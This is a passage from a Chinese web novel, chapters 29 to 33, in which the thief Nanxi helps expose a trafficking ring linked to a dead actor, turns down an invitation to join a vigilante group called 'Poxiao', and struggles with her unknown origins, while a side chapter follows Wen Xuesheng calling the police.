“如果交出这个磁带,后面女孩们的补刀,警察会不会认为她们在侮辱尸体?甚至可能被王有才的家属反咬,把那说成集体谋杀未遂后的补刀?可如果不交的话……”她停下脚步,眉头紧锁,“现有的证据链对她们非常不利,很可能真的被重判……这是个死结……” 温雪生走到她身边,低头看她,声音有些模糊:“证据本身没有立场,但使用证据的人有。交给谁,什么时候交,用什么方式交,结果可能会天差地别。”他又缓慢地走到窗边,侧过脸,灯光勾勒出他冷淡的轮廓,“选择权在你。” 南希瞪着他的背影,半晌,忽然泄了口气,有些烦躁地抓了抓头发:“这种需要权衡八百个心眼子的决定,真不适合我!”她重重倒在床上,再次四仰八叉,“烦烦烦,不想了!头疼!” * 两天后,济东晚报的社会版块刊登了一则简短消息: 涉及王有才被杀案的十一名女青年,因证据发生重大变化,被无罪释放。据悉,获释后,这些女孩已联合聘请律师,以正当防卫为由,为仍在押的嫌疑人王颖提起了上诉。 第三天,全城的媒体彻底爆炸。收音机里的整点新闻、电视屏幕下方的滚动字幕以及所有报纸的头版头条,都被同一条惊天消息占据: 本市知名大酒店经理深夜前往公安局,实名举报已故影星王某及近十名商界、演艺界管理层人士,长期参与组织胁迫年轻女性进行非法交易,并私下筹建所谓的“明星培训班”,情节极其恶劣,震惊全城。警方表示高度重视,已成立专案组彻查。持续报道中。 哔—哔哔—哔— 手机铃声盖过了车载收音机的电音。 南希左手翻开摩托罗拉前盖。 “喂?” 她把手机夹在肩膀和耳朵之间,右手熄火拉手刹,打开切诺基车门。 “我刚听完收音机新闻。”温雪生的声音从另一端传来,听不出任何情绪。 “嗯哼,巧了,我也刚听完。”南希下车。 “我这有点内部消息。”温雪生继续说,语气像是随口一提,“司法系统里,那位以严厉和公正出名的女领导,就是去年主导清查方局长贪污案的那个……” “啊,怎么了?”南希关车门,锁车。 温雪生:“昨天,她加班到很晚,有人趁她去洗手间的功夫,在她办公桌上放了盒没有标签的录像带。” 南希换了个姿势,用右手拿手机:“小生生,我还有事,你直接说重点。” “好。我听说这位领导,尤其是对涉及女性受害者的案件,处理方式非常谨慎,格外注重保护当事人的隐私。”温雪生仍然慢条斯理,“你选择她,是出于这个考虑?” “哈哈,你想什么呢?”南希的声音带着点诧异,仿佛对方说了句废话,“什么我选择她?什么考虑?我都听不懂,好了好了,挂了挂了,我真有事。” “等等!” “又怎么了?” 电话那头沉默了两秒,温雪生没有就刚才的问题反驳。 “我还听说,那些女孩被释放的时候,景天大酒店的黄经理和一个穿着保洁工装、帽檐压得很低的阿姨一起去接的人。之后,她们还一起去探望了王颖。再后来,就是女孩们集体找律师推动上诉,而那位黄经理,转头就去公安局报了案。” “哦?”南希一步步往前走,语气里有恰到好处的惊讶,“原来背后还有这些事,看来那些女孩们很勇敢呀。还有那个经理……总算没继续令自己失望。” “所以,”温雪生的声音透过听筒,清晰地抛来最后一个问题,“这整个过程中,你在哪里?” “我?”南希微微提高声音,坦荡,理直气壮,甚至还有一丝抱怨,“我是个神偷诶,大名鼎鼎的红发女鬼!我很忙的好吗?最近事儿多,我都快累散架了,干完活当然就回家呆着补觉去了。小生生,真不说了,你看看几点了,我还没吃饭呢,饿得前胸贴后背,现在要去吃好吃的啦,拜拜~” 她干脆利落地挂了电话。 她的眼前,浮现出四个红底黑字的大招牌——开运全羊馆。 招牌在夕阳下闪着油光。 南希推开全羊馆的玻璃门,推开厚重的挡风帘,走了进去。 店里空荡荡的,没有服务员,也没有其他顾客,只有最里面靠墙的一张桌子旁,坐着两个人。 一个短发,穿着黑色皮衣,身形挺拔,正专注地掰弄着手里的金属钥匙扣。另一个,一身惹眼的红棉衣,衬得肤色极白,指尖夹着一根细长的女士香烟。 南希的出现让三人的目光在空中撞在一起。 空气似乎凝滞了几秒,气氛微妙。 南希嘴角上挑,视线扫过空空的柜台,仿佛没看到那俩人一样。然后她径直走到一张干净的桌子前坐下,屈指敲了敲桌面。 “老板?在吗?”她声音清亮,“来碗羊杂汤,多放辣。” 第30章 邀请 咯哒咯哒—— 红衣女人站起身,高跟鞋敲着水泥地面,不紧不慢地走过来:“小姑娘,今天不营业。” 南希上下打量她,眼睛亮了一下:“呦,果然是你。老板娘,景天大酒店的细高跟服务生,骑摩托甩掉我们的神秘车手,还真的全是同一个人呢。”她歪了下头,“上次对不住啊,下手重了点,把你弄晕了,没事吧?” 老板娘摆摆手,脸上没什么表情:“技不如人,没什么好说的,晕一会儿就醒了。” “那就好。我说,你们为什么不营业?我也要晕了,饿晕的。”南希揉揉肚子,表情委屈。 老板娘:“我们猜到你大概会找来,索性歇业一天等你,你信吗?” 南希挑眉:“哦?信。” 老板娘没想到她回答得这么干脆:“不过你要是真想吃东西,我可以亲自给你下厨,我手艺还不错。” “别。”南希拒绝,“我怕你下毒,你们这儿套路忒深。” 谁知道你会往饭里会加什么料。 “不会。”老板娘居然笑了一下,很淡,“我欣赏你,对真正欣赏的人,我不会使用这种下三滥的手段。” “欣赏我?”南希像是听到了天大的笑话,“欣赏我会三番五次给我下套?抢我东西?还把那老色鬼的死栽赃到我头上?让警察通缉我?”她压下那点被挑起的火气,停了几秒,继续,“算了,先说正事,我这次来,为两件事。” 她的手伸进剑桥包,掏出一个用旧报纸随意包着的东西,递过去:“第一,物归原主。这是上次从你那儿顺走的白玉佛。” 老板娘接过东西,手指刚触到报纸边缘,南希就笑了起来:“哈哈,假的!真的我早交给该交的人了。这就是块我随便找来的破玻璃,怎么样,手感像不像?” 老板娘捏着那假货,在手里掂了掂,非但没恼,眼里反而涌上一股兴致:“有点意思。那第二件事儿是……?”她随手把假货扔在旁边桌上,发出哐当一声响。 “报仇。”南希收起笑,站起身。 她与老板娘一般高,便与老板娘的眼睛平视,“你们一直找茬,没完没了,这笔账,今天得算清楚。” 老板娘装糊涂:“找茬?哪有的事?你多心了。” 南希没理她,自顾自地说下去:“王有才死的那个晚上,你打坏了别墅里的监控器,然后就没了影儿。我猜,你是后来混进那批女孩的,所以你跟她们心不齐,一直躲在后面。后来,女孩们决定一起自首扛下那件事,你便跳出来装好人,说可以扮成‘红发女鬼’帮她们脱身,让她们指认我,你还在附近晃悠,故意留下‘红发女鬼’出现的痕迹。这样,你既不用跟她们一起坐牢,又能把锅彻底甩出去,一石二鸟。 “花姐那么聪明一个人,肯定看出你想跑,就顺水推舟放你走了。这也就对得上所有的疑点——为什么监控里有你,但看守所和摄像机里没有你,而且女孩们一提起‘红发女鬼’就紧张得要命。她们是怕不小心把你扯出来,对吧?” 老板娘安静地听着,脸上没什么波澜,既不承认也不反驳,只是嘴角噙着一丝若有似无的笑,欣赏的神色几乎毫不掩饰。 南希被她盯得浑身不得劲,硬着头皮继续说:“我就不明白了,我跟你,跟你们,到底有什么仇、什么怨?你们要这么处心积虑地害我?我们干这一行的,最怕的就是暗地里的仇人,今天要是不把这事解决了,我怕是一天安稳觉都没得睡了。” “唉,你错了。”老板娘终于开口,双腿交叉,斜靠在餐桌上,“实话跟你说,监控器不是我要打的,是花姐让我打的。那里面记录了太多见不得光的东西,很多女孩宁可死,也不愿意自己那些不堪的画面被别人看见,警察也不行。”她顿了一下,目光灼灼地锁住南希,“至于为什么选择嫁祸你,因为我们真的真的,太喜欢你了,红发女鬼~” 这话倒不假,她对南希的喜爱之情几乎要溢出来了。 南希哪能感受不到,可她不舒服,她心里发毛,她退了一步,禁不住打了个哆嗦。 这时,那个一直在摆弄钥匙扣的皮衣男走了过来。他身形挺拔,眉眼在灯光下显得格外深邃。 “是我让她这么做的。”他看向南希,用那张过分帅气的脸,说着近乎暧昧的话,“‘红发女鬼’,我想见你,只能用这种方法,才能逼你现身。” 话音撩人心弦,南希的心跳不争气地漏跳了一拍,脑子“嗡”了一声。 要命! 她想起之前自己变着花儿地接近他,可怎么接近撩拨,他都冷得像块冰……要是早知道张笑远对“红发女鬼”感兴趣,她还用得着那么费劲吗? 南希暗自磨牙,面上却挤出个笑:“你想找我早说啊!如果是你的话,刀山火海……呃,总之,让我来赴约肯定没问题!” 张笑远笑了:“是吗?那很好。我想拉你入伙。我们一起,干点儿真正的大事,帮该帮的人,罚该罚的人,掀了那些表面光鲜、底下烂透了的摊子。” 嗯……啥? 南希的眼睛眨巴了好几下:“……啊?入伙?” 这事情的展开,她完全没料到。 张笑远见南希疑惑又警惕,向前一步,神情真诚:“这间店是我们的据点。”他抬手示意周围,“老板娘孙红,她是我师姐,负责看守这里。” 南希看了眼旁边抱臂而立的红衣老板娘:“呃……所以?” “所以我们早就注意到你了。”张笑远目光柔和,“‘红发女鬼’的名声,在济东流传不是一天两天了,你很有趣,专挑那些为富不仁、暗地里龌龊不堪的家伙下手,行事风格又……又很洒脱,我很欣赏你。” 南希不轻易相信任何人,大帅哥也不行,虽然现在,她心里已经美成了花儿。 她故意拉长语调:“哦——欣赏我?还是刚才的问题,欣赏我还给我设套?” 张笑远严肃起来:“因为我们要做的事,比你想象的更复杂,也更危险,不能有半点闪失。我们需要的是绝对可靠的同伴,不能仅凭欣赏就拉一个陌生人入伙。我们必须对你进行测试。” “测试?”南希重复他的话,最近发生的事在脑子里飞过,她好像明白了什么,“所以王有才案……” “那是第一试,试你的品性。”张笑远打断她,眼神锐利如刀,“师姐混在那些女孩里,原本只是为了搜集王有才及其同伙的罪证。那晚的变故是意外,但也是最好的试金石。我们很清楚那卷录像带的存在以及它的内容,我们看到你,明明身负‘盗宝’任务,却选择去救那些与你无关的女孩,甚至不惜暴露自己,卷入致命的麻烦里。” 旁边的孙红轻笑一声,插话:“说实话,挺蠢的。”视线转向南希,“不过嘛,这世道,自保都很艰难,肯为不相干的人冒险的蠢人,不多了。” 南希抿抿唇,没接话。 “品性过关,但还不够。”张笑远继续说,“我们需要的是能并肩作战的利刃,而不是一个单纯的‘好人’。所以有了第二次测试,试你的能力。” 他的目光扫过这间普通的馆子:“这里看似寻常,实则眼线遍布,戒备森严,白玉佛是我们故意放出去的饵。” 南希立刻想起之前的几次交锋,恍然大悟,原来他们这是请君入瓮! 张笑远:“看守所那次,更证明了你的身手和应变能力,你潜入看守所就像进入无人之境,我想,这个形容得并不夸张。后来,你还打败了我师姐,从她手里拿走了真正的白玉佛。所有的一切都远超我的预期。” 孙红似乎有些不服气地轻哼了下,但没反驳。 “两次测试,你都完美通过,”张笑远总结,“所以,现在。我正式邀请你,加入我们。我们需要的,正是你这样的人——有底线,有身手,更有打破常规的胆量和脑子。我们一起,可以做的远不止偷几件宝贝救济穷人那么简单,我们要挖掉的是这个城市光鲜表皮下,那些烂疮和毒脓!” 张笑远向南希伸出手,眼神异常郑重。 他的话讲得很有信念感,听起来挺热血,蓝图描绘的也很美丽,人也长得很帅…… 可是…… 南希尽量不让自己翻白眼,心想这个大帅哥是不是看热血漫画看多了,脑子坏掉了? 她尬声回:“那个,我其实……嗯……有组织了。”说话间,她眼神飘忽,试图委婉拒绝,目光却忍不住一次又一次溜回张笑远脸上。 可惜了,确实长得帅…… “你不诚实。”张笑远自以为是地“拆穿”她,离她更近了一步,继续讲述自己波澜壮阔的伟大梦想,好像这样就能用理想主义说服她似的。 他步步紧逼,南希步步后退。 就在这时,后厨的帘子“哗啦”一声被掀开,一个慵懒的声音插了进来:“师弟,你就别白费口舌了,我早就说过,他们那边的人,根深蒂固,绝不可能加入我们。” 南希闻声回头,身体顿时僵住,脸上的血色也一下子褪了个干净。 什么情况? 两个?! 眼前的女人穿着普通的棉布衣,围裙上还沾着点面粉,但那张脸,那身形,竟然和旁边气场十足的老板娘孙红,一模一样!《 》 30-40 第31章 决定 南希拧了自己大腿一把。 疼。 不是梦。 “你,你们……”她感觉舌头有点打结,脑子嗡嗡响,像被塞进了一群蜜蜂。 电光石火间,一些被忽略的细节窜回脑海,清晰得骇人。 之前她就觉得奇怪,这个老板娘似乎无所不在。细高跟服务生是她,摩托骑手是她,扮演红发女鬼的也是她……精力好得简直不像话人。 一开始,第六感告诉她,张笑远的小团伙有三个人。但后来,她亲眼见到了老板娘,又觉得或许真是她一人分饰多角,虽然心底那丝违和感始终没散。 现在,这张与老板娘一模一样的脸,让所有零碎的疑惑有了答案: 不是一个人精力过剩,而是根本就有两个人! 她最初的猜测是对的! 旁边,那个系围裙的女人见南希一脸震惊,开口:“别紧张,这不是灵异事件。”她顿了顿,语气像是在介绍今天的天气,“我们就是普普通通的双胞胎而已。” 老板娘孙红放松地抬了抬下巴:“嗯哼,我是姐姐,名字你知道了。” 系围裙的女人:“我是妹妹,孙紫。” 南希还是说不出话,脸上颜色变幻莫测。 张笑远清了清喉咙,打破短暂的安静:“不好意思,刚才我没说完,我师姐,其实有两个。之前和你交过手的,也是她们两个。我们之前都在龙虎山跟着师父学艺,下山后,由我为首,组建了现在的团队,团队名为‘破晓’。” 他扫过南希,又补充说,“不算你的话,目前‘破晓’共有六人,除了你见到的我们三个,另外三人在外执行任务,以后有机会,可以介绍你认识。” 南希嘴角抽搐。 学艺?龙虎山?师姐师弟?破晓团队? 她听着这些词,只觉得越来越离谱,像是一下子闯进了某个武侠剧或者奇幻小说。 疯了,真是疯了! 之前那点被帅哥邀请的好奇感,瞬间被巨大的不真实感淹没。 这浑水太深、太怪,她可一点都不想趟! “那个……哈哈哈……”她干笑着,声音有点飘,眼珠快速瞟向门口,脚下也悄悄挪了半步,“我突然想起来,我男朋友给我做了饭,老母鸡炖蘑菇,大补!他脾气不太好,我要是去晚了,他得跟我急!那个,再见!各位英雄好汉,不用送了!” 话讲得快,像机关枪扫射,她几乎没给那三人反应的时间,就像受惊的兔子一样转过身,拉开门冲了出去。 “砰”地一声,玻璃门关上了,南希的脚步声迅速消失。 全羊馆陷入寂静。 孙紫用抹布擦擦手,漫不经心:“笑远,你不去追?” 她的眼神像是在询问一件无关紧要的公事。 旁边的孙红嗤笑一声,玩味地瞥张笑远:“你看他什么时候主动追过女人?都是别人追着他跑。” “这个不一样,我看得出来。”孙紫的视线也落在张笑远身上,“你不是惦记她很久了吗?费这么大周折,怎么关键时刻放手了?” 张笑远脸上没什么表情,看不出喜怒。他望向那扇仿佛还残留着南希惊慌气息的玻璃门,声音笃定:“她会回来的。” * 南希几乎是一路跑着冲回车上的。 她手忙脚乱地发动引擎,一脚油门踩下,切诺基窜出去老远。直到车子跑了好几条街,那种荒诞的不真实感还裹挟着她。 她用力摇摇头,试图把匪夷所思的信息甩出去。 她想,一定是张笑远联合双胞胎在耍她。 想着想着,脑子里突然冒出一真一假两块白玉佛。 她便又想,经这么一出,白玉佛该不会也有什么问题吧? 越想越不安,她立刻减缓车速,靠边停下,掏出摩托罗拉,拨通了刘总的号码。 “是我。”她尽量让声音听起来平常,“前几天锦华典当关门了,今天呢?那个小王回来了吧?” “回来了回来了,王主管说家里有点儿事,刚处理完。”刘总回答得很快,背景音有点杂,“下午我帮你把白玉佛交过去了。” “哦……那个人,没说什么吧?” 手机被南希握得很紧。 刘总:“没有啊,能说什么?你放心,一切都很顺利!王主管说你改天有空去找他拿报酬就行。” 南希绷紧的肩膀松下来一点。 看来东西没问题,是真的…… 或许真是自己想多了…… 她挂断电话,控制住凌乱的思绪,重新发动车子,调转车头,朝锦华典当的方向开去。 这一趟,一是为了拿报酬。 二是,上次交蓝宝石的时候,小王明确承诺,完成强制任务后,就会把跟她身世有关的信息给她。这件事,像根小小的刺,扎在她心里很久了。 切诺基很快抵达锦华典当所在的老街。 路边堆着垃圾,略显破败。 南希远远望去,典当行拉着防盗铁门,门口也没亮灯。 她心里疑惑,停好车下来,走到旁边一个摆摊卖水果的大妈面前,问:“阿姨,典当行这是关门了吗?” 大妈正嗑着瓜子,抬头瞥了一眼,又低下头继续嗑:“哎呦,不巧啊妹妹,刚关门,也就五分钟前吧,你要是早点来就好了。” 南希皱眉:“这么早?天还没黑透呢。” “人家典当行和银行差不多,要是黑透了再关门,那还成?”大妈一副见怪不怪的样子。 南希想了想,认为有道理,决定明天再来,早点儿来。 第二天,她提前俩小时到达,没想到,锦华典当依旧大门紧锁,防盗铁门冷冰冰地盖着里面的玻璃门。 卖水果的大妈看到她,主动开口:“诶,妹妹你又来啦?唉,小王又是刚走没多久,我看表了,差不多又是五分钟吧,你说巧不巧?” 巧,巧的诡异。 南希心里的疑惑像藤蔓一样开始滋生。 第三天,她发了狠,特意起了个大早,九点整就准时赶到锦华典当门口。 这个时间,按理说该开门营业了。 结果,铁将军把门,典当行依旧被锁得严严实实。 卖水果的大妈似乎都有些不好意思了:“这个……妹妹,真是,又是刚走五分钟……我这刚出摊就看到小王锁门走了……” 南希看看紧闭的大门,又看看腕表上刚刚指向九点的时针,一股混着不安的火气猛地窜上来,几乎顶到了她嗓子口。 “阿姨,”她努力压抑火气,“小王今天还回来吗?” “哎,这我可说不好喽,他走的时候又没跟我讲这个。”大妈摇头。 …… 南希倔脾气发作,索性不走了,回到车里,抱着手臂,死死盯着锦华典当,从阳光熹微等到日头升高,再到光线斜照,最后太阳西落,那扇防盗门就像被焊死了一样,再也没被拉开过。 期间,有几个零散的路人过来张望,又失望地离开。 南希心里的不安像滚雪球一样越滚越大。 她憋着一肚子怒火和疑虑,再次掏出手机,打给刘总。 电话一接通,她没等对方“歪”完就劈头盖脸地问过去:“锦华典当最近为什么总关门?这都第三天了!玩我呢?!” 刘总愣了下,也冲电话喊:“我怎么知道?!又不是我让关的!你有火也别冲我发啊!” “你就没有那个小王的联系电话?或者家庭住址?总有个能找到他的方式吧!”南希压火追问。 “小张,你开什么玩笑?”刘总诧异,“这么多年了,规矩你不懂?不管是做任务还是领报酬,只能人到典当行,面对面交接,绝不能电话联系,你又不是新人,还要我重复这些?” 这段怒气冲冲的话后,电话里隐隐有小女孩叫爸爸的声音。 “诶诶,我这就过去。”刘总的声音有些远,他语气平和下来,“好了好了,小张,我闺女找我呢,先挂了啊。” 手机里传出“嘀嘀嘀”的盲音。 南希半瘫在座椅上,望着车窗外逐渐昏暗的街道,心也逐渐昏暗。 不合理,也不科学。 要不是刚刚刘总的一句“这么多年了”,她不会想到,这么多年了,锦华典当,好像从没关过门…… 最近异常的关门,偏偏是在她完成强制任务、即将触达自己身世秘密的时候…… 难道,小王在躲她? 组织压根就不想把身世告诉她? 这个念头像一根冰锥,刺透了她强装的洒脱。 一个模糊却令人恐惧的感觉浮上心头——她这辈子,可能永远都无法知道自己是谁了…… 霎时,巨大的沮丧和茫然将她吞没。她丧气地给车子点了火。 发动机嗡嗡作响,而她把额头抵在方向盘上,久久没动。 她不知道该开去哪儿…… 童年那些破碎的、灰暗的记忆碎片不受控制地涌上脑海。 她七岁前的记忆是一片空白,之后便是流浪、饥饿、寒冷和被周围的人排斥…… 那种像浮萍一样漂泊的不安感,再次牢牢攫住了她,比以往任何一次都要强烈、真实。 她看起来没心没肺,好像什么都不在乎,可只有她自己知道,找不到根的浮萍,活得有多么恐慌和小心翼翼。 天色彻底黑透。 微弱的车灯没在黑暗中,像两只无助的眼睛。 南希神情恍惚地开动车子,各种纷杂的念头肆意碰撞着。 突然,一个黑魆魆的身影,毫无征兆地从路边的阴影里冲出,横穿了整条马路! 南希猛踩刹车。 轮胎摩擦地面,发出刺耳的尖叫。 切诺基在离那个身影仅剩几厘米的地方惊险停住。 南希整个人向前一倾,又被安全带狠狠拉回,重重撞在椅背上。 她大口喘粗气,心脏跳得像要炸开,冷汗湿透了后背的秋衣。 在车灯的照射下,她看清了那个差点被切诺基撞上的人。 是个脏兮兮的小乞丐,女孩,七八岁模样。 女孩也被这突如其来的变故吓傻了。她忘了哭,也忘了跑,一张小脸满是惊恐,呆呆地望着车里的南希。 南希缓了好一会儿,才颤抖着推门下车。 她走到小女孩面前,蹲下身,声音沙哑:“没事了,别怕……你,没被撞着吧?有没有哪里痛?” 小女孩瑟缩了一下,眼里终于涌上泪花。 南希在口袋里摸了摸,摸出一颗之前顺手放进去的草莓糖:“别哭别哭,给你糖吃,甜的。以后过马路一定要左右看,确定没车了再走,知道吗?” 小女孩怯生生地看看她,又看看糖,犹豫了一下,伸出小黑手,飞快地抓过糖,像怕她反悔一样,迅速转身跑远了。 小小的、瘦弱的背影很快消失在路灯照不到的街口。 南希杵在原地,久久地望着那孩子消失的方向,仿佛透过时光,看到了很多年前的自己。 大概也是在这样的季节,这样的夜晚,也有一个人,给了她一块糖。 那块糖的甜味她至今还记得。 但那个人没有让她走,而是牵着她,带她加入组织,给她遮风挡雨的屋檐,为她做喷香的饭菜,教她读书识字,训练她各种身体技能…… 她很争气,学什么都快,似乎只有这样,才能对抗身体里无处不在的、被遗弃的恐惧。 她已经很久很久没见过那个带她入门,给她第一块糖的人了。 张叔…… 夜风吹过。 她仰起头,城市的霓虹灯照亮不了深邃的夜空。 她忽然感受到一种从骨髓里透出来的疲惫。 太累了。 不知道身世就不知道吧…… 她深吸一口冰冷的空气,然后,做了一个决定。 第32章 (番外) 新的季节…… 三个穿着白大褂的医生,提着仪器箱走进温沙城堡,他们胸前都印着“卢氏”logo。 李大发像往常一样,引他们上楼梯,然后穿越两列盆栽梅花,轻手敲温雪生的房门:“少爷,例行体检。” 没一会儿,他收到一个沉闷的“进”字。然后他抬手推门,示意医生进门,却在他们真得要进去时“诶”了一声,似乎想说些什么。 医生们疑惑地看他。 他犹豫着,终是没说出口。 医生们便进了房间。 这三位中,有两位是温雪生熟悉的老医生,剩下的那位是新来的女博士,戴黑框眼镜,一副学生气。 温雪生也只见过一次。 然而,不管是老的,还是新的,都在看到他的刹那愣在了原地。 女博士反应最大,她手里的记录板差点滑落,脸颊以肉眼可见的速度泛红,镜片后的眼睛睁得滚圆,目光像是粘在了窗边那修长的身影上,怎么都移不开了。 几天前,她第一次到温沙城堡,那个传说中的大少爷,脸上乱七八糟,像个不愿见光的吸血鬼。而现在,眼前的男人面容清晰,除了左眼遮在眼罩下,剩下的五官格外精致。 如果不是他皱着眉头,带着一股阴郁的不耐烦,她怕是没法把他和记忆里的丑八怪联系在一起。 太帅了,比明星都帅…… “可以开始了吗?”温雪生盯着他们,声音很冷。 这一早上,他已经被各种震惊、探究、甚至痴迷的目光弄得心烦意乱。 为首的刘医生最先回过神,咳嗽一声,暗暗拽了女博士一把,示意她马上开始工作。 女博士赶紧低头准备检查仪器。 体检便在一种微妙的寂静中开始了。 量血压、测心率、抽血、听诊心肺……一系列程序完成得很快。 检查结束后,刘医生额角微微见汗,他走到书桌前坐下,准备填写病历,笔尖悬在空中很久,终于忍不住开口:“少爷,您的身体各项指标都很好,还有您的脸,没想到您竟然长得……” 他欲言又止。 温雪生知道,这句没出口的话是“这么英俊”。 他听李管事,王姐,孙老太等太多人说过太多次。 他瞥了眼镜子,里面的男人的确英俊得过了头。 但他并不为此感到兴奋。 他挥手示意其他两位医生离开房间,然后对刘医生说:“从刚刚的检查中,你能看出我的脸怎么好的吗?” “这个……”刘医生笔尖一顿,“那个……暂时看不出来。少爷,请允许我问您几个问题。”他见温雪生没出声,知道那是对他的默许,便问道:“您最近吃过什么药吗?” 温雪生摇头:“和往常一样,只喝了你配的安神口服液。” “不应该……”刘医生沉吟,视线不经意间扫到温雪生的手臂,“少爷,您受伤了?快让我看看。” 温雪生躲闪,抖顺微蜷的袖子,盖住手腕。 “没事,不小心磕到了而已。” 但那不像磕伤。 伤痕一圈又一圈,触目惊心。 刘医生没拆穿,而是抬头看他,这才发现他的脖颈处也有伤痕,虽然衣领高高竖着,却依然藏不住那片红。 刘医生用钢笔推了推鼻梁上的眼镜:“那么,少爷,您最近有没有遇到什么奇怪的事?” 温雪生卷曲的睫毛颤颤抖动,声音里有抑制不住的虚软:“……我好像撞鬼了……” 记忆又回到昨天晚上。 那个红发女鬼从窗户闯入他的房间,把他的手、腿、脚……绑了起来,嘴堵起来……然后扑在他身上,将他…… 他不想再想,更不想说。 “没有其他的了。” “了解了。”笔尖在纸上滑动。 大概过了两分钟,刘医生合上写满字的病历本,抬起头。 镜片反光,遮挡着他的眼。 “少爷,从现代医学角度,这种现象很难解释。不过,从我目前掌握的情况来看,既然您的这种……特殊‘遭遇’,对您产生了如此积极的生理改变,那么,可能的话,希望您能定期跟那只鬼见面。一月一次,不,一礼拜一次……当然,如果能一天一次就更好了。” “什,什么?”温雪生看向他,身上的阴冷气弱了些,“每天见?” 刘医生被他看得后颈发凉,但还是硬着头皮,试图维持专业形象:“呃,是……理论上,持续、稳定的良性刺激,有助于身体机能维持在新的平衡点……” “知道了。”温雪生打断他,厌烦地摆了摆手,“检查完了就请回吧,帮我把李管事叫进来。” 接下来的一分钟,刘医生离开,李大发进门。 “去查个人。” 温雪生头也不抬,直接报出一个名字,“演员王有才。我要知道,最近老头儿的地盘,有没有这个人的预约。” 半个小时后,李大发再次进门:“少爷,查到了!王有才今天就有预约,晚上八点,岳阳路的碧海阁,房间是海上天堂。”说着,他的脸上掠过一丝迟疑,“只是……少爷,碧海阁这地方,表面是会员制的高级俱乐部,接待名流,实际里面乱得很,门道非常深,各种见不得光的交易都有,老大的人平时都绕着走……我觉得,您最好也别沾上这地儿……” 温雪生的眼神沉下来:“你在管我的事?” 李大发意识到说错话,立马低下头:“没,没……我多嘴了。” “滚。” “诶,诶……” 李大发滚后,一股莫名的烦躁萦绕在温雪生心头。 他在房间里来回踱步,一遍又一遍。这样大概过了五六分钟,他走到床头柜,打开里面的暗格,从中取出一封信。 目光扫过潦草却俊秀的字迹,落在最下面那串电话号码上。 他又拿着信走到书桌,提起话筒,拨号。 电话响了很久才被接起,那边传来漫不经心的声音:“喂,请问哪位?” 温雪生感到心脏在“怦怦”的跳动,嗓子失了声。 “喂?请说话?喂?”对方顿了一下,“是温大少吗?” 一阵轻咳。 温雪生确认嗓子没问题后,才沙哑地回:“……嗯,是我……” 然后,他把李大发打听到的消息告诉了电话里的人,最后还犹犹豫豫地加了句“李大发说,那地方很乱……”。 可一说完,他竟又感到后悔。 刚刚李大发提醒这些时,他只觉得烦…… 电话里的声音把他的思绪拽回:“哦?小生生,你不知道嘛,‘红发女鬼’最不怕的就是‘乱’。” 然后,话音中断,电话那头传来了“嘟嘟嘟”的盲音。 对方挂了电话。 而温雪生依然握着话筒,指节已经发白,心情陡然变得沉重,像压了块石头。 几分钟后,他把话筒放下,又提起,重新按下一串号码。 “让李大发来见我。” * 温沙城堡三楼。 晚八点四十五分。 书桌上的电话骤然响起。 温雪生几乎瞬间拿起听筒。 李大发的声音传入耳朵:“少爷,张小姐还真出现了,她刚进了碧海阁的大门,打扮得……嗯……非常耀眼,衣服颜色很亮,跟刚从动画片里走出来似的。” 温雪生身体紧绷,像拉紧的琴弦:“好,你继续盯着,有情况随时告诉我。” 八点五十三分,电话再次响了。 李大发的语气急促了些:“少爷,有个喝得烂醉的胖子想扑过去拦住张小姐,动作嘛,好像有点不太规矩,不过张小姐反应快,一个侧身就躲开了,没让对方碰着,看起来没吃亏。” 温雪生沉默了几秒:“你过去,‘提醒’一下那个不长眼的。” “明白。” 九点十分,李大发的电话又来了,这次他带着再也掩饰不住的焦虑:“少爷,情况不对啊!张小姐跟着一群说是去面试的女孩,进了海上天堂包间。我找人打听了,那根本不是什么正经面试!是王有才拉皮条的惯用伎俩,专门骗那些想当明星的女孩!包间里也不是什么所谓的投资人和制片人,就是些本地玩得很野的富商!听说这勾当在那里已经持续很久了,经常出事!少爷,要不要找人冲进去,确保张小姐的安全?” 温雪生面色发青:“不行。”他否定,声音严厉,“找人冲进去,这跟老头儿平日的做法有什么区别?” 他爹温四爷那套手段,他从来不屑,也极力避免沾染,“咱们不是black社会。你别管了,剩下的我想办法。” 挂了电话,房间里又回荡起温雪生来来回回的踱步声,听起来就像是有一头野兽被困在了笼子里。 窗外夜色浓重,他一会儿坐进沙发,手指用力掐着眉心,一会儿又像被烫到一样弹起来,走到窗边…… 期间,王姐小心翼翼地端了杯参茶进来,想让他定定神,被他看也不看地低吼了一声“出去!”,吓得王姐立刻退走了,轻轻地带上了门。 时间一分一秒地爬行,每一秒都拉得无比漫长。大概煎熬了二十分钟,温雪生突然在地毯中央停住了脚步。 然后,他转身,大步走到电话机前,死死地盯着那排数字按键。 他深吸一口气,似乎鼓足了勇气。然后,他提起听筒,用力按下了三个数字:110。 “喂?我要报警。” 他一字一顿,冷静得近乎诡异,“岳阳路的碧海阁,有人正在进行非法□□易,可能涉及胁迫未成年或欺诈。对方隐藏得很深,有保护伞,希望你们行动时注意策略和取证。” * 两个月后。 索尼大彩电的屏幕里,正在直播一场非法交易及胁迫□□案的庭审。 这桩案件与已故明星王有才密切相关,轰动了整个济东市,甚至全国。 画面扫过法庭,下方坐满了黑压压的人,大多是些年轻女孩。据报道,她们都是王有才明星培训班的受害者。 温雪生一边看着电视,一边拿着电话。 电话那头的声音像点燃的烟花,激动得几乎要冲破听筒:“小生生!你快看电视!庭审!现场直播!” “嗯,我正在看。那些受害的女孩当庭作证,指认了对她们实施侵犯的富商。” “对对对!我跟你说,我一开始还瞎担心,怕她们太害怕,顾忌名声啊、报复啊什么的,不敢站出来指认……但她们太了不起了!你快看,现在说话的是我领班王颖!逻辑清晰,义正辞严!好像美少女战士里的火野丽啊!她旁边的花姐!那气势,就是水冰月!还有那个,戴眼镜的那个,水野亚美……” “嗯。”温雪生不经意瞥到窗外。 几只不知名的小鸟叽喳飞过。 飞过草地。 草地虽然还是大片的枯黄,却也多了些嫩绿色。 新的季节就要来了。 【第3卷 通向破晓】 第33章 学长 “隐退?!” “嗯。” “这就是你做的决定?” “是呀。” “你脑子被驴踢了?!” “诶呀,聋了聋了!”南希走出女生宿舍,把手里的摩托罗拉拿离耳朵,“刘总,我耳膜都要让你喊破了!” “小张,你开玩笑是吧……?”刘总的声音弱下来,显得紧张。 “放心放心,还能听到点声,没聋。”南希心不在焉,眼前迎面走来两个穿制服的同学。他们正挥手跟她打招呼。 “那么,隐退……?” 